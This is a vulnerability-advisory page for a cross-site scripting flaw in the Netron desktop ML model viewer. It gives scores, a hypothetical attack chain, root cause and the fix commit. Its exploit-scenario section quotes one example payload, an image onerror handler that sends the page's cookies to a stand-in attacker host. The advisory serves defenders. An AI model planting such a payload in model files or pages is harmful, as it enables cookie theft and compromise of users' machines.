Skip to main content

Netron CVE-2026-79719

| EUVDEUVD-2026-67091 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-27 HiddenLayer GHSA-wfq7-j297-j875
6.8
CVSS 4.0 · Vendor: HiddenLayer
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft model file with XSS payload in node names
  2. Delivery
    Host on public model repository or deliver via phishing
  3. Exploit
    Victim opens file in Netron ≤9.1.2 desktop app
  4. Execution
    JavaScript executes in Electron/Chromium renderer
  5. Persist
    Enumerate local network hosts via port scanning
  6. Impact
    Chain Chrome n-day to escape renderer and achieve host RCE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to open a malicious model file in the Netron desktop application (UI:P - passive user interaction). No authentication, elevated privileges, or special configuration of Netron is required to trigger the XSS - the vulnerable code paths execute during normal model visualization for any loaded file. Escalation from XSS to RCE additionally requires availability of a Chrome n-day compatible with the Electron runtime's bundled Chromium version; without such a bug, impact is limited to JavaScript execution in the renderer context (port scanning, data exfiltration from the app context). The vulnerability does NOT apply to Netron running as a web application in a standard browser, only to the Electron desktop build. Exploitation is further limited by the need to deliver the malicious model file to the victim, which typically requires social engineering or compromise of a model repository the victim trusts.

Impact

The CVSS 4.0 score of 6.8 with AV:L reflects that exploitation requires a user to open a malicious file, appropriately scoping this as a local attack. VC:H in the provided vector aligns with port scanning capability and potential credential/data exposure in the Chromium context. SC:L acknowledges that subsequent systems (local network hosts) can be probed. The RCE impact described in the HiddenLayer advisory is conditional - it depends on the availability of a suitable Chrome n-day for the Electron runtime's bundled Chromium version, meaning practical RCE exploitability varies by Electron/Chromium version and patch state. The vulnerability is not in CISA KEV and no confirmed POC exists in the provided data, limiting urgency for most defenders. However, the ML/AI practitioner audience frequently opens model files from public sources like Hugging Face or arxiv-linked repositories - a natural social engineering vector that elevates real-world risk above what the local attack vector alone suggests.

Exploit ScenarioDerived

An attacker embeds a JavaScript payload (e.g., <img src=x onerror=fetch('http://attacker.com/?d='+btoa(document.cookie))>) into node names within a crafted ONNX or TensorFlow model file and uploads it to a public model repository or sends it via phishing. When an ML engineer opens the file in Netron ≤9.1.2 desktop, the payload executes in the Chromium renderer, enabling port scanning of the local network. If the attacker also has access to an applicable Chrome n-day matching the Electron runtime's bundled Chromium version, the XSS can be escalated to host-level code execution.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 27, 2026

Reflected XSS in Netron ≤9.1.2 desktop application executes attacker-controlled JavaScript when a user opens a specially crafted ML model file containing malicious node names, descriptions, or type labels. Because Netron is Electron-based, XSS runs in a privileged Chromium renderer context - enabling SSRF-style local port scanning and, when chained with an unspecified Chrome n-day vulnerability, potential remote code execution on the host. No public exploit confirmed at time of analysis, but HiddenLayer published a security advisory documenting the impact chain.

RemediationAI

Update Netron to a version that incorporates upstream commit cd14bad8c9132b1aaf1d197fe61925575f194f00 (https://github.com/lutzroeder/netron/commit/cd14bad8c9132b1aaf1d197fe61925575f194f00), which adds HTML escaping to all affected innerHTML assignments and tightens the CSP with frame-src 'none'. Note that a specific tagged release version beyond 9.1.2 has not been independently confirmed from available data - only the commit reference exists. As a compensating control, restrict Netron use to model files from verified, trusted sources and avoid opening model files received via email, public repositories, or untrusted collaborators. Monitoring network traffic from the Netron process for unexpected outbound connections can detect port-scanning abuse but does not prevent initial XSS execution.

Affected VersionsENISA

Netron * ≤9.1.2

Affected Packages

pypi netron fix: 9.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Netron (CPE: cpe:2.3:a:netron:netron:*:*:*:*:*:*:*:*) is an Electron-based desktop application for visualizing neural network model formats (ONNX, TensorFlow, PyTorch, etc.). The root cause (CWE-79) is direct assignment of unsanitized model-derived strings to innerHTML in view.js across at least five code paths: PrimitiveView, ValueView, and NodeView all rendered node descriptions, type labels, and names via element.innerHTML = value without HTML escaping. The fix (commit cd14bad8c9132b1aaf1d197fe61925575f194f00) wraps each assignment with this.escape() and simultaneously tightens the Content Security Policy to add frame-src 'none', preventing iframe-based exfiltration channels. The fact that RCE requires chaining with a Chrome n-day implies the Electron build has contextIsolation enabled and nodeIntegration disabled, limiting baseline XSS to the renderer process rather than direct Node.js host access.

Know when Netron gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (HiddenLayer) PRIMARY 6.8 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

AV:L because the attack requires opening a crafted local file; UI:R for that required user action; C:H for port scanning and renderer data exposure; I:L for node visibility manipulation; S:U since breaking to host requires a separate n-day.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (HiddenLayer).

CVSS VectorVendor: HiddenLayer

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Reflected XSS in Netron versions <=9.1.2 on desktop application through unsanitized node names allows an attacker to hide certain nodes, perform port scanning or abuse a Chrome n-day to achieve Remote Code Execution.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
Medium
popular ML model viewer among AI/ML practitioners globally
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy